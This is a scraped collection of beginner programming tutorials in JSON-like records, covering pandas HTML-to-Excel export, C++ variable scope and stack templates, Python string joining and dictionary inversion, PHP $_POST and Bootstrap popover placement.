2608, "s": 2604, "text": "C++" }, { "code": null, "e": 2612, "s": 2608, "text": "CPP" }, { "code": null, "e": 2710, "s": 2612, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2727, "s": 2710, "text": "Substring in C++" }, { "code": null, "e": 2749, "s": 2727, "text": "Function Pointer in C" }, { "code": null, "e": 2795, "s": 2749, "text": "Left Shift and Right Shift Operators in C/C++" }, { "code": null, "e": 2840, "s": 2795, "text": "Different Methods to Reverse a String in C++" }, { "code": null, "e": 2865, "s": 2840, "text": "std::string class in C++" }, { "code": null, "e": 2883, "s": 2865, "text": "Vector in C++ STL" }, { "code": null, "e": 2926, "s": 2883, "text": "Map in C++ Standard Template Library (STL)" }, { "code": null, "e": 2972, "s": 2926, "text": "Initialize a vector in C++ (7 different ways)" }, { "code": null, "e": 3015, "s": 2972, "text": "Set in C++ Standard Template Library (STL)" } ]
Python | Convert an HTML table into excel
25 Jun, 2019 MS Excel is a powerful tool for handling huge amounts of tabular data. It can be particularly useful for sorting, analyzing, performing complex calculations and visualizing data. In this article, we will discuss how to extract a table from a webpage and store it in Excel format. Step #1: Converting to Pandas dataframePandas is a Python library used for managing tables. Our first step would be to store the table from the webpage into a Pandas dataframe. The function read_html() returns a list of dataframes, each element representing a table in the webpage. Here we are assuming that the webpage contains a single table. # Importing pandasimport pandas as pd # The webpage URL whose table we want to extracturl = "https://www.geeksforgeeks.org/extended-operators-in-relational-algebra/" # Assign the table data to a Pandas dataframetable = pd.read_html(url)[0] # Print the dataframeprint(table) Output 0 1 2 3 4 0 ROLL_NO NAME ADDRESS PHONE AGE 1 1 RAM DELHI 9455123451 18 2 2 RAMESH GURGAON 9652431543 18 3 3 SUJIT ROHTAK 9156253131 20 4 4 SURESH DELHI 9156768971 18 Step #2: Storing the Pandas dataframe in an excel fileFor this, we use the to_excel() function of Pandas, passing the filename as a parameter. # Importing pandasimport pandas as pd # The webpage URL whose table we want to extracturl = "https://www.geeksforgeeks.org/extended-operators-in-relational-algebra/" # Assign the table data to a Pandas dataframetable = pd.read_html(url)[0] # Store the dataframe in Excel filetable.to_excel("data.xlsx") Output: In case of multiple tables on the webpage, we can change the index number from 0 to that of the required table. Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Different ways to create Pandas Dataframe Enumerate() in Python Read a file line by line in Python Python String | replace() How to Install PIP on Windows ? *args and **kwargs in Python Python Classes and Objects Iterate over a list in Python Convert integer to string in Python
[ { "code": null, "e": 53, "s": 25, "text": "\n25 Jun, 2019" }, { "code": null, "e": 333, "s": 53, "text": "MS Excel is a powerful tool for handling huge amounts of tabular data. It can be particularly useful for sorting, analyzing, performing complex calculations and visualizing data. In this article, we will discuss how to extract a table from a webpage and store it in Excel format." }, { "code": null, "e": 678, "s": 333, "text": "Step #1: Converting to Pandas dataframePandas is a Python library used for managing tables. Our first step would be to store the table from the webpage into a Pandas dataframe. The function read_html() returns a list of dataframes, each element representing a table in the webpage. Here we are assuming that the webpage contains a single table." }, { "code": "# Importing pandasimport pandas as pd # The webpage URL whose table we want to extracturl = \"https://www.geeksforgeeks.org/extended-operators-in-relational-algebra/\" # Assign the table data to a Pandas dataframetable = pd.read_html(url)[0] # Print the dataframeprint(table)", "e": 955, "s": 678, "text": null }, { "code": null, "e": 962, "s": 955, "text": "Output" }, { "code": null, "e": 1233, "s": 962, "text": " 0 1 2 3 4\n0 ROLL_NO NAME ADDRESS PHONE AGE\n1 1 RAM DELHI 9455123451 18\n2 2 RAMESH GURGAON 9652431543 18\n3 3 SUJIT ROHTAK 9156253131 20\n4 4 SURESH DELHI 9156768971 18\n" }, { "code": null, "e": 1377, "s": 1233, "text": " Step #2: Storing the Pandas dataframe in an excel fileFor this, we use the to_excel() function of Pandas, passing the filename as a parameter." }, { "code": "# Importing pandasimport pandas as pd # The webpage URL whose table we want to extracturl = \"https://www.geeksforgeeks.org/extended-operators-in-relational-algebra/\" # Assign the table data to a Pandas dataframetable = pd.read_html(url)[0] # Store the dataframe in Excel filetable.to_excel(\"data.xlsx\")", "e": 1683, "s": 1377, "text": null }, { "code": null, "e": 1691, "s": 1683, "text": "Output:" }, { "code": null, "e": 1803, "s": 1691, "text": "In case of multiple tables on the webpage, we can change the index number from 0 to that of the required table." }, { "code": null, "e": 1817, "s": 1803, "text": "Python-pandas" }, { "code": null, "e": 1824, "s": 1817, "text": "Python" }, { "code": null, "e": 1922, "s": 1824, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1940, "s": 1922, "text": "Python Dictionary" }, { "code": null, "e": 1982, "s": 1940, "text": "Different ways to create Pandas Dataframe" }, { "code": null, "e": 2004, "s": 1982, "text": "Enumerate() in Python" }, { "code": null, "e": 2039, "s": 2004, "text": "Read a file line by line in Python" }, { "code": null, "e": 2065, "s": 2039, "text": "Python String | replace()" }, { "code": null, "e": 2097, "s": 2065, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 2126, "s": 2097, "text": "*args and **kwargs in Python" }, { "code": null, "e": 2153, "s": 2126, "text": "Python Classes and Objects" }, { "code": null, "e": 2183, "s": 2153, "text": "Iterate over a list in Python" } ]
Difference between static, auto, global and local variable in C++
There are two separate concepts here − scope, which determines where a name can be accessed - global and local storage duration, which determines when a variable is created and destroyed - static and auto Local variables can be used only by statements that are inside that function or block of code. Local variables are not known to functions on their own. Live Demo #include <iostream> using namespace std; int main () { // Local variable declaration: int a, b; int c; // actual initialization a = 10; b = 20; c = a + b; cout << c; return 0; } This will give the output − 30 Global variables are defined outside of all the functions, usually on top of the program. The global variables will hold their value throughout the lifetime of your program. A global variable can be accessed by any function. Live Demo #include <iostream> using namespace std; // Global variable declaration: int g; int main () { // Local variable declaration: int a, b; // actual initialization a = 10; b = 20; g = a + b; cout << g; return 0; } This will give the output − 30 Automatic variables are local variables whose lifetime ends when execution leaves their scope, and are recreated when the scope is reentered. for (int i =0 0; i < 5; ++i) { int n = 0; printf("%d ", ++n); // prints 1 1 1 1 1 - the previous value is lost } Static variables have a lifetime that lasts until the end of the program. If they are local variables, then their value persists when execution leaves their scope. for (int i = 0; i < 5; ++i) { static int n = 0; printf("%d ", ++n); // prints 1 2 3 4 5 - the value persists } Note that the static keyword has various meanings apart from static storage duration. Also, in C++ the auto keyword no longer means automatic storage duration; it now means automatic type, deduced from the variable's initializer.
[ { "code": null, "e": 1226, "s": 1187, "text": "There are two separate concepts here −" }, { "code": null, "e": 1298, "s": 1226, "text": "scope, which determines where a name can be accessed - global and local" }, { "code": null, "e": 1392, "s": 1298, "text": "storage duration, which determines when a variable is created and destroyed - static and auto" }, { "code": null, "e": 1544, "s": 1392, "text": "Local variables can be used only by statements that are inside that function or block of code. Local variables are not known to functions on their own." }, { "code": null, "e": 1555, "s": 1544, "text": " Live Demo" }, { "code": null, "e": 1763, "s": 1555, "text": "#include <iostream>\nusing namespace std;\n\nint main () {\n // Local variable declaration:\n int a, b;\n int c;\n\n // actual initialization\n a = 10;\n b = 20;\n c = a + b;\n\n cout << c;\n return 0;\n}" }, { "code": null, "e": 1791, "s": 1763, "text": "This will give the output −" }, { "code": null, "e": 1795, "s": 1791, "text": "30\n" }, { "code": null, "e": 2020, "s": 1795, "text": "Global variables are defined outside of all the functions, usually on top of the program. The global variables will hold their value throughout the lifetime of your program. A global variable can be accessed by any function." }, { "code": null, "e": 2031, "s": 2020, "text": " Live Demo" }, { "code": null, "e": 2269, "s": 2031, "text": "#include <iostream>\nusing namespace std;\n\n// Global variable declaration:\nint g;\n\nint main () {\n // Local variable declaration:\n int a, b;\n\n // actual initialization\n a = 10;\n b = 20;\n g = a + b;\n\n cout << g;\n return 0;\n}" }, { "code": null, "e": 2297, "s": 2269, "text": "This will give the output −" }, { "code": null, "e": 2301, "s": 2297, "text": "30\n" }, { "code": null, "e": 2443, "s": 2301, "text": "Automatic variables are local variables whose lifetime ends when execution leaves their scope, and are recreated when the scope is reentered." }, { "code": null, "e": 2562, "s": 2443, "text": "for (int i =0 0; i < 5; ++i) {\n int n = 0;\n printf(\"%d \", ++n); // prints 1 1 1 1 1 - the previous value is lost\n}" }, { "code": null, "e": 2726, "s": 2562, "text": "Static variables have a lifetime that lasts until the end of the program. If they are local variables, then their value persists when execution leaves their scope." }, { "code": null, "e": 2843, "s": 2726, "text": "for (int i = 0; i < 5; ++i) {\n static int n = 0;\n printf(\"%d \", ++n); // prints 1 2 3 4 5 - the value persists\n}" }, { "code": null, "e": 3073, "s": 2843, "text": "Note that the static keyword has various meanings apart from static storage duration. Also, in C++ the auto keyword no longer means automatic storage duration; it now means automatic type, deduced from the variable's initializer." } ]
Python String join() Method
Python string method join() returns a string in which the string elements of sequence have been joined by str separator. Following is the syntax for join() method − str.join(sequence) sequence − This is a sequence of the elements to be joined. sequence − This is a sequence of the elements to be joined. This method returns a string, which is the concatenation of the strings in the sequence seq. The separator between elements is the string providing this method. The following example shows the usage of join() method. #!/usr/bin/python s = "-"; seq = ("a", "b", "c"); # This is sequence of strings. print s.join( seq ) When we run above program, it produces following result −
[ { "code": null, "e": 2500, "s": 2378, "text": "Python string method join() returns a string in which the string elements of sequence have been joined by str separator." }, { "code": null, "e": 2544, "s": 2500, "text": "Following is the syntax for join() method −" }, { "code": null, "e": 2564, "s": 2544, "text": "str.join(sequence)\n" }, { "code": null, "e": 2624, "s": 2564, "text": "sequence − This is a sequence of the elements to be joined." }, { "code": null, "e": 2684, "s": 2624, "text": "sequence − This is a sequence of the elements to be joined." }, { "code": null, "e": 2845, "s": 2684, "text": "This method returns a string, which is the concatenation of the strings in the sequence seq. The separator between elements is the string providing this method." }, { "code": null, "e": 2901, "s": 2845, "text": "The following example shows the usage of join() method." }, { "code": null, "e": 3003, "s": 2901, "text": "#!/usr/bin/python\n\ns = \"-\";\nseq = (\"a\", \"b\", \"c\"); # This is sequence of strings.\nprint s.join( seq )" } ]
PHP $_POST
$_POST is a predefined variable which is an associative array of key-value pairs passed to a URL by HTTP POST method that uses URLEncoded or multipart/form-data content-type in request. $HTTP_POST_VARS also contains the same information, but is not a superglobal, and now been deprecated. Easiest way to send data to server with POST request is specifying method attribute of HTML form as POST. Assuming that the URL in browser is http://localhost/testscript.php, method=POST is set in a HTML form test.html as below − <form action="testscript.php" method="POST"> <input type="text" name="name"> <input type="text" name="age"> <input type ="submit" value="submit"> </form> The PHP script is as follows: <?php echo "Name : " . $_POST["name"] . "<br>"; echo "Age : " . $_POST["age"]; ?> This will produce following result − Name : xyz Age : 20 In following example, htmlspecialchars() function is used to convert characters in HTML entities. Assuming that the user posted dta as name=xyz and age=20 <?php echo "Name: " . htmlspecialchars($_POST["name"]) . "<br>"; echo "age: " . htmlspecialchars($_POST["age"]) . "<br>"; ?> This will produce following result − Name : xyz Age : 20
[ { "code": null, "e": 1373, "s": 1187, "text": "$_POST is a predefined variable which is an associative array of key-value pairs passed to a URL by HTTP POST method that uses URLEncoded or multipart/form-data content-type in request." }, { "code": null, "e": 1476, "s": 1373, "text": "$HTTP_POST_VARS also contains the same information, but is not a superglobal, and now been deprecated." }, { "code": null, "e": 1706, "s": 1476, "text": "Easiest way to send data to server with POST request is specifying method attribute of HTML form as POST. Assuming that the URL in browser is http://localhost/testscript.php, method=POST is set in a HTML form test.html as below −" }, { "code": null, "e": 1869, "s": 1706, "text": "<form action=\"testscript.php\" method=\"POST\">\n <input type=\"text\" name=\"name\">\n <input type=\"text\" name=\"age\">\n <input type =\"submit\" value=\"submit\">\n</form>" }, { "code": null, "e": 1899, "s": 1869, "text": "The PHP script is as follows:" }, { "code": null, "e": 1981, "s": 1899, "text": "<?php\necho \"Name : \" . $_POST[\"name\"] . \"<br>\";\necho \"Age : \" . $_POST[\"age\"];\n?>" }, { "code": null, "e": 2018, "s": 1981, "text": "This will produce following result −" }, { "code": null, "e": 2038, "s": 2018, "text": "Name : xyz\nAge : 20" }, { "code": null, "e": 2136, "s": 2038, "text": "In following example, htmlspecialchars() function is used to convert characters in HTML entities." }, { "code": null, "e": 2193, "s": 2136, "text": "Assuming that the user posted dta as name=xyz and age=20" }, { "code": null, "e": 2318, "s": 2193, "text": "<?php\necho \"Name: \" . htmlspecialchars($_POST[\"name\"]) . \"<br>\";\necho \"age: \" . htmlspecialchars($_POST[\"age\"]) . \"<br>\";\n?>" }, { "code": null, "e": 2355, "s": 2318, "text": "This will produce following result −" }, { "code": null, "e": 2375, "s": 2355, "text": "Name : xyz\nAge : 20" } ]
Implementing Stack Using Class Templates in C++
02 Feb, 2022 The task is to implement some important functions of stack like pop(), push(), display(), topElement(), isEmpty(), isFull() using class template in C++. Stack is a linear data structure that follows a particular order in which the operations are performed. The order may be LIFO(Last In First Out) or FILO(First In Last Out). The simple idea is to pass data type as a parameter so that we don’t need to write the same code for different data types. For example, a software company may need sort() for different data types. Rather than writing and maintaining the multiple codes, we can write one sort() and pass data type as a parameter. C++ adds two new keywords to support templates: ‘template’ and ‘typename’. The second keyword can always be replaced by the keyword ‘class’. Illustration: Consider an example of plates stacked over one another in the canteen. The plate which is at the top is the first one to be removed, i.e. the plate which has been placed at the bottommost position remains in the stack for the longest period of time. So, it can be simply seen to follow LIFO(Last In First Out)/FILO(First In Last Out) order. Example: C++14 // C++ Program to Implement stack using Class Templates // Including input output libraries#include <iostream>// Header File including all string functions#include <string> using namespace std; // Taking size of stack as 10#define SIZE 5 // Class// To represent stack using template by class// taking class in templatetemplate <class T> class Stack { // Public access modifierpublic: // Empty constructor Stack(); // Method 1 // To add element to stack which can be any type // using stack push() operation void push(T k); // Method 2 // To remove top element from stack // using pop() operation T pop(); // Method 3 // To print top element in stack // using peek() method T topElement(); // Method 4 // To check whether stack is full // using isFull() method bool isFull(); // Method 5 // To check whether stack is empty // using isEmpty() method bool isEmpty(); private: // Taking data member top int top; // Initialising stack(array) of given size T st[SIZE];}; // Method 6// To initialise top to// -1(default constructor)template <class T> Stack<T>::Stack() { top = -1; } // Method 7// To add element element k to stacktemplate <class T> void Stack<T>::push(T k){ // Checking whether stack is completely filled if (isFull()) { // Display message when no elements can be pushed // into it cout << "Stack is full\n"; } // Inserted element cout << "Inserted element " << k << endl; // Incrementing the top by unity as element // is to be inserted top = top + 1; // Now, adding element to stack st[top] = k;} // Method 8// To check if the stack is emptytemplate <class T> bool Stack<T>::isEmpty(){ if (top == -1) return 1; else return 0;} // Utility methods // Method 9// To check if the stack is full or nottemplate <class T> bool Stack<T>::isFull(){ // Till top in inside the stack if (top == (SIZE - 1)) return 1; else // As top can not exceeds th size return 0;} // Method 10template <class T> T Stack<T>::pop(){ // Initialising a variable to store popped element T popped_element = st[top]; // Decreasing the top as // element is getting out from the stack top--; // Returning the element/s that is/are popped return popped_element;} // Method 11template <class T> T Stack<T>::topElement(){ // Initialising a variable to store top element T top_element = st[top]; // Returning the top element return top_element;} // Method 12// Main driver methodint main(){ // Creating object of Stack class in main() method // Declaring objects of type Integer and String Stack<int> integer_stack; Stack<string> string_stack; // Adding elements to integer stack object // Custom integer entries integer_stack.push(2); integer_stack.push(54); integer_stack.push(255); // Adding elements to string stack // Custom string entries string_stack.push("Welcome"); string_stack.push("to"); string_stack.push("GeeksforGeeks"); // Now, removing element from integer stack cout << integer_stack.pop() << " is removed from stack" << endl; // Removing top element from string stack cout << string_stack.pop() << " is removed from stack " << endl; // Print and display the top element in integer stack cout << "Top element is " << integer_stack.topElement() << endl; // Print and display the top element in string stack cout << "Top element is " << string_stack.topElement() << endl; return 0;} Inserted element 2 Inserted element 54 Inserted element 255 Inserted element Welcome Inserted element to Inserted element GeeksforGeeks 255 is removed from stack GeeksforGeeks is removed from stack Top element is 54 Top element is to Output explanation: Here two data types (integer and string) are implemented using a single stack class. First, two objects are taken one is for integer class and the second is for the string class, Elements are inserted in both the classes using push() and isFull() method of stack class. Elements are removed using pop and isEmpty() functions of stack class. Finally, the top element is printed for each class using the top element() function. saurabh1990aror anikaseth98 gabaa406 varshagumber28 cpp-stack-functions Templates C++ Stack Stack CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Sorting a vector in C++ Polymorphism in C++ Friend class and function in C++ Pair in C++ Standard Template Library (STL) std::string class in C++ Stack Data Structure (Introduction and Program) Stack in Python Stack Class in Java Check for Balanced Brackets in an expression (well-formedness) using Stack Introduction to Data Structures
[ { "code": null, "e": 54, "s": 26, "text": "\n02 Feb, 2022" }, { "code": null, "e": 380, "s": 54, "text": "The task is to implement some important functions of stack like pop(), push(), display(), topElement(), isEmpty(), isFull() using class template in C++. Stack is a linear data structure that follows a particular order in which the operations are performed. The order may be LIFO(Last In First Out) or FILO(First In Last Out)." }, { "code": null, "e": 692, "s": 380, "text": "The simple idea is to pass data type as a parameter so that we don’t need to write the same code for different data types. For example, a software company may need sort() for different data types. Rather than writing and maintaining the multiple codes, we can write one sort() and pass data type as a parameter." }, { "code": null, "e": 833, "s": 692, "text": "C++ adds two new keywords to support templates: ‘template’ and ‘typename’. The second keyword can always be replaced by the keyword ‘class’." }, { "code": null, "e": 847, "s": 833, "text": "Illustration:" }, { "code": null, "e": 1188, "s": 847, "text": "Consider an example of plates stacked over one another in the canteen. The plate which is at the top is the first one to be removed, i.e. the plate which has been placed at the bottommost position remains in the stack for the longest period of time. So, it can be simply seen to follow LIFO(Last In First Out)/FILO(First In Last Out) order." }, { "code": null, "e": 1197, "s": 1188, "text": "Example:" }, { "code": null, "e": 1203, "s": 1197, "text": "C++14" }, { "code": "// C++ Program to Implement stack using Class Templates // Including input output libraries#include <iostream>// Header File including all string functions#include <string> using namespace std; // Taking size of stack as 10#define SIZE 5 // Class// To represent stack using template by class// taking class in templatetemplate <class T> class Stack { // Public access modifierpublic: // Empty constructor Stack(); // Method 1 // To add element to stack which can be any type // using stack push() operation void push(T k); // Method 2 // To remove top element from stack // using pop() operation T pop(); // Method 3 // To print top element in stack // using peek() method T topElement(); // Method 4 // To check whether stack is full // using isFull() method bool isFull(); // Method 5 // To check whether stack is empty // using isEmpty() method bool isEmpty(); private: // Taking data member top int top; // Initialising stack(array) of given size T st[SIZE];}; // Method 6// To initialise top to// -1(default constructor)template <class T> Stack<T>::Stack() { top = -1; } // Method 7// To add element element k to stacktemplate <class T> void Stack<T>::push(T k){ // Checking whether stack is completely filled if (isFull()) { // Display message when no elements can be pushed // into it cout << \"Stack is full\\n\"; } // Inserted element cout << \"Inserted element \" << k << endl; // Incrementing the top by unity as element // is to be inserted top = top + 1; // Now, adding element to stack st[top] = k;} // Method 8// To check if the stack is emptytemplate <class T> bool Stack<T>::isEmpty(){ if (top == -1) return 1; else return 0;} // Utility methods // Method 9// To check if the stack is full or nottemplate <class T> bool Stack<T>::isFull(){ // Till top in inside the stack if (top == (SIZE - 1)) return 1; else // As top can not exceeds th size return 0;} // Method 10template <class T> T Stack<T>::pop(){ // Initialising a variable to store popped element T popped_element = st[top]; // Decreasing the top as // element is getting out from the stack top--; // Returning the element/s that is/are popped return popped_element;} // Method 11template <class T> T Stack<T>::topElement(){ // Initialising a variable to store top element T top_element = st[top]; // Returning the top element return top_element;} // Method 12// Main driver methodint main(){ // Creating object of Stack class in main() method // Declaring objects of type Integer and String Stack<int> integer_stack; Stack<string> string_stack; // Adding elements to integer stack object // Custom integer entries integer_stack.push(2); integer_stack.push(54); integer_stack.push(255); // Adding elements to string stack // Custom string entries string_stack.push(\"Welcome\"); string_stack.push(\"to\"); string_stack.push(\"GeeksforGeeks\"); // Now, removing element from integer stack cout << integer_stack.pop() << \" is removed from stack\" << endl; // Removing top element from string stack cout << string_stack.pop() << \" is removed from stack \" << endl; // Print and display the top element in integer stack cout << \"Top element is \" << integer_stack.topElement() << endl; // Print and display the top element in string stack cout << \"Top element is \" << string_stack.topElement() << endl; return 0;}", "e": 4813, "s": 1203, "text": null }, { "code": null, "e": 5048, "s": 4813, "text": "Inserted element 2\nInserted element 54\nInserted element 255\nInserted element Welcome\nInserted element to\nInserted element GeeksforGeeks\n255 is removed from stack\nGeeksforGeeks is removed from stack \nTop element is 54\nTop element is to" }, { "code": null, "e": 5068, "s": 5048, "text": "Output explanation:" }, { "code": null, "e": 5494, "s": 5068, "text": "Here two data types (integer and string) are implemented using a single stack class. First, two objects are taken one is for integer class and the second is for the string class, Elements are inserted in both the classes using push() and isFull() method of stack class. Elements are removed using pop and isEmpty() functions of stack class. Finally, the top element is printed for each class using the top element() function." }, { "code": null, "e": 5512, "s": 5496, "text": "saurabh1990aror" }, { "code": null, "e": 5524, "s": 5512, "text": "anikaseth98" }, { "code": null, "e": 5533, "s": 5524, "text": "gabaa406" }, { "code": null, "e": 5548, "s": 5533, "text": "varshagumber28" }, { "code": null, "e": 5568, "s": 5548, "text": "cpp-stack-functions" }, { "code": null, "e": 5578, "s": 5568, "text": "Templates" }, { "code": null, "e": 5582, "s": 5578, "text": "C++" }, { "code": null, "e": 5588, "s": 5582, "text": "Stack" }, { "code": null, "e": 5594, "s": 5588, "text": "Stack" }, { "code": null, "e": 5598, "s": 5594, "text": "CPP" }, { "code": null, "e": 5696, "s": 5598, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 5720, "s": 5696, "text": "Sorting a vector in C++" }, { "code": null, "e": 5740, "s": 5720, "text": "Polymorphism in C++" }, { "code": null, "e": 5773, "s": 5740, "text": "Friend class and function in C++" }, { "code": null, "e": 5817, "s": 5773, "text": "Pair in C++ Standard Template Library (STL)" }, { "code": null, "e": 5842, "s": 5817, "text": "std::string class in C++" }, { "code": null, "e": 5890, "s": 5842, "text": "Stack Data Structure (Introduction and Program)" }, { "code": null, "e": 5906, "s": 5890, "text": "Stack in Python" }, { "code": null, "e": 5926, "s": 5906, "text": "Stack Class in Java" }, { "code": null, "e": 6001, "s": 5926, "text": "Check for Balanced Brackets in an expression (well-formedness) using Stack" } ]
Python | Ways to invert mapping of dictionary
18 Feb, 2019 Dictionary is a collection which is unordered, changeable and indexed. In Python, dictionaries are written with curly brackets, and they have keys and values. It is widely used in day to day programming, web development, and machine learning.Let’s discuss a few ways to invert mapping of a dictionary.Method #1: Using Dictionary Comprehension. # Python code to demonstrate# how to invert mapping # using dict comprehension # initialising dictionaryini_dict = {101: "akshat", 201 : "ball"} # print initial dictionaryprint("initial dictionary : ", str(ini_dict)) # inverse mapping using dict comprehensioninv_dict = {v: k for k, v in ini_dict.items()} # print final dictionaryprint("inverse mapped dictionary : ", str(inv_dict)) initial dictionary : {201: 'ball', 101: 'akshat'} inverse mapped dictionary : {'ball': 201, 'akshat': 101} Method #2: Using dict.keys() and dict.values() # Python code to demonstrate# how to invert mapping # using zip and dict functions # initialising dictionaryini_dict = {101: "akshat", 201 : "ball"} # print initial dictionaryprint("initial dictionary : ", str(ini_dict)) # inverse mapping using zip and dict functionsinv_dict = dict(zip(ini_dict.values(), ini_dict.keys())) # print final dictionaryprint("inverse mapped dictionary : ", str(inv_dict)) initial dictionary : {201: 'ball', 101: 'akshat'} inverse mapped dictionary : {'ball': 201, 'akshat': 101} Method #3: Using map() and reversed # Python code to demonstrate# how to invert mapping # using map and reversed # initialising dictionaryini_dict = {101: "akshat", 201 : "ball"} # print initial dictionaryprint("initial dictionary : ", str(ini_dict)) # inverse mapping using map and reversedinv_dict = dict(map(reversed, ini_dict.items())) # print final dictionaryprint("inverse mapped dictionary : ", str(inv_dict)) initial dictionary : {201: 'ball', 101: 'akshat'} inverse mapped dictionary : {'akshat': 101, 'ball': 201} Method #4: Using lambda # Python code to demonstrate# how to invert mapping # using lambda # initialising dictionaryini_dict = {101 : "akshat", 201 : "ball"} # print initial dictionaryprint("initial dictionary : ", str(ini_dict)) # inverse mapping using lambdalambda ini_dict: {v:k for k, v in ini_dict.items()} # print final dictionaryprint("inverse mapped dictionary : ", str(ini_dict)) initial dictionary : {201: 'ball', 101: 'akshat'} inverse mapped dictionary : {201: 'ball', 101: 'akshat'} Marketing Python dictionary-programs python-dict Python python-dict Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n18 Feb, 2019" }, { "code": null, "e": 372, "s": 28, "text": "Dictionary is a collection which is unordered, changeable and indexed. In Python, dictionaries are written with curly brackets, and they have keys and values. It is widely used in day to day programming, web development, and machine learning.Let’s discuss a few ways to invert mapping of a dictionary.Method #1: Using Dictionary Comprehension." }, { "code": "# Python code to demonstrate# how to invert mapping # using dict comprehension # initialising dictionaryini_dict = {101: \"akshat\", 201 : \"ball\"} # print initial dictionaryprint(\"initial dictionary : \", str(ini_dict)) # inverse mapping using dict comprehensioninv_dict = {v: k for k, v in ini_dict.items()} # print final dictionaryprint(\"inverse mapped dictionary : \", str(inv_dict))", "e": 759, "s": 372, "text": null }, { "code": null, "e": 869, "s": 759, "text": "initial dictionary : {201: 'ball', 101: 'akshat'}\ninverse mapped dictionary : {'ball': 201, 'akshat': 101}\n" }, { "code": null, "e": 916, "s": 869, "text": "Method #2: Using dict.keys() and dict.values()" }, { "code": "# Python code to demonstrate# how to invert mapping # using zip and dict functions # initialising dictionaryini_dict = {101: \"akshat\", 201 : \"ball\"} # print initial dictionaryprint(\"initial dictionary : \", str(ini_dict)) # inverse mapping using zip and dict functionsinv_dict = dict(zip(ini_dict.values(), ini_dict.keys())) # print final dictionaryprint(\"inverse mapped dictionary : \", str(inv_dict))", "e": 1321, "s": 916, "text": null }, { "code": null, "e": 1431, "s": 1321, "text": "initial dictionary : {201: 'ball', 101: 'akshat'}\ninverse mapped dictionary : {'ball': 201, 'akshat': 101}\n" }, { "code": null, "e": 1467, "s": 1431, "text": "Method #3: Using map() and reversed" }, { "code": "# Python code to demonstrate# how to invert mapping # using map and reversed # initialising dictionaryini_dict = {101: \"akshat\", 201 : \"ball\"} # print initial dictionaryprint(\"initial dictionary : \", str(ini_dict)) # inverse mapping using map and reversedinv_dict = dict(map(reversed, ini_dict.items())) # print final dictionaryprint(\"inverse mapped dictionary : \", str(inv_dict))", "e": 1852, "s": 1467, "text": null }, { "code": null, "e": 1962, "s": 1852, "text": "initial dictionary : {201: 'ball', 101: 'akshat'}\ninverse mapped dictionary : {'akshat': 101, 'ball': 201}\n" }, { "code": null, "e": 1986, "s": 1962, "text": "Method #4: Using lambda" }, { "code": "# Python code to demonstrate# how to invert mapping # using lambda # initialising dictionaryini_dict = {101 : \"akshat\", 201 : \"ball\"} # print initial dictionaryprint(\"initial dictionary : \", str(ini_dict)) # inverse mapping using lambdalambda ini_dict: {v:k for k, v in ini_dict.items()} # print final dictionaryprint(\"inverse mapped dictionary : \", str(ini_dict))", "e": 2355, "s": 1986, "text": null }, { "code": null, "e": 2465, "s": 2355, "text": "initial dictionary : {201: 'ball', 101: 'akshat'}\ninverse mapped dictionary : {201: 'ball', 101: 'akshat'}\n" }, { "code": null, "e": 2475, "s": 2465, "text": "Marketing" }, { "code": null, "e": 2502, "s": 2475, "text": "Python dictionary-programs" }, { "code": null, "e": 2514, "s": 2502, "text": "python-dict" }, { "code": null, "e": 2521, "s": 2514, "text": "Python" }, { "code": null, "e": 2533, "s": 2521, "text": "python-dict" } ]
How to position a Bootstrap popover ?
22 Jun, 2020 This article describes how a popover can be positioned on the page. The popover attribute of Bootstrap can be used to make the website look more dynamic. Popovers are generally used to display additional information about any element and are displayed on click of mouse pointer over that element. It is similar to the Bootstrap Tooltip. However, a popover can contain much more content than a tooltip. Popovers is the third-party library Popper.js for positioning the element. The library popper.min.js must be included before bootstrap.js Syntax: $(function () { $('[data-toggle="popover"]').popover() }) Positioning can be sometimes very important as per need but the user needs to do it explicitly as Popover by default will appear on the right side of the element. Example 1: The below code is a basic implementation in HTML, Bootstrap, and JavaScript. All 4 directions (left, right, up and down) popover has been implemented using the data-placement settings. html <!DOCTYPE html><html> <head> <title>Bootstrap Example</title> <meta charset="utf-8"> <meta name="viewport" content= "width=device-width, initial-scale=1"> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"> </script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"> </script></head> <body style="text-align:center;"> <div class="container"> <h3>Popover Example</h3> <hr> <ul class="list-inline"> <li> <!-- Popover positioned to the top --> <a href="#" title="Header" data-toggle="popover" data-placement="top" data-content="Content"> Top </a> </li> <br> <li> <!-- Popover positioned to the left --> <a href="#" title="Header" data-toggle="popover" data-placement="left" data-content="Content"> Left </a> </li> <br> <li> <!-- Popover positioned to the right --> <a href="#" title="Header" data-toggle="popover" data-placement="right" data-content="Content"> Right </a> </li> <br> <li> <!-- Popover positioned to the bottom --> <a href="#" title="Header" data-toggle="popover" data-placement="bottom" data-content="Content"> Bottom </a> </li> </ul> </div> <script> // Enable all popovers in the document $(document).ready(function () { $('[data-toggle="popover"]').popover(); }); </script></body> </html> Output: Example 2: The below example is a top hover popover where the popover triggers up when the cursor points to the button and disappears when the cursor is removed from the button. html <!DOCTYPE html><html lang="en"> <head> <title> Example of Triggering Bootstrap Popover on Mouseover </title> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"> </script> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"> </script> <script> $(document).ready(function () { $('[data-toggle="popover"]').popover({ // Set the placement of // the popup to the top placement: 'top', trigger: 'hover' }); }); </script> <style> .pop { margin: 150px 50px; } </style></head> <body> <h3> Bootstrap Popover </h3> <hr> <div class="pop"> <button type="button" class="btn 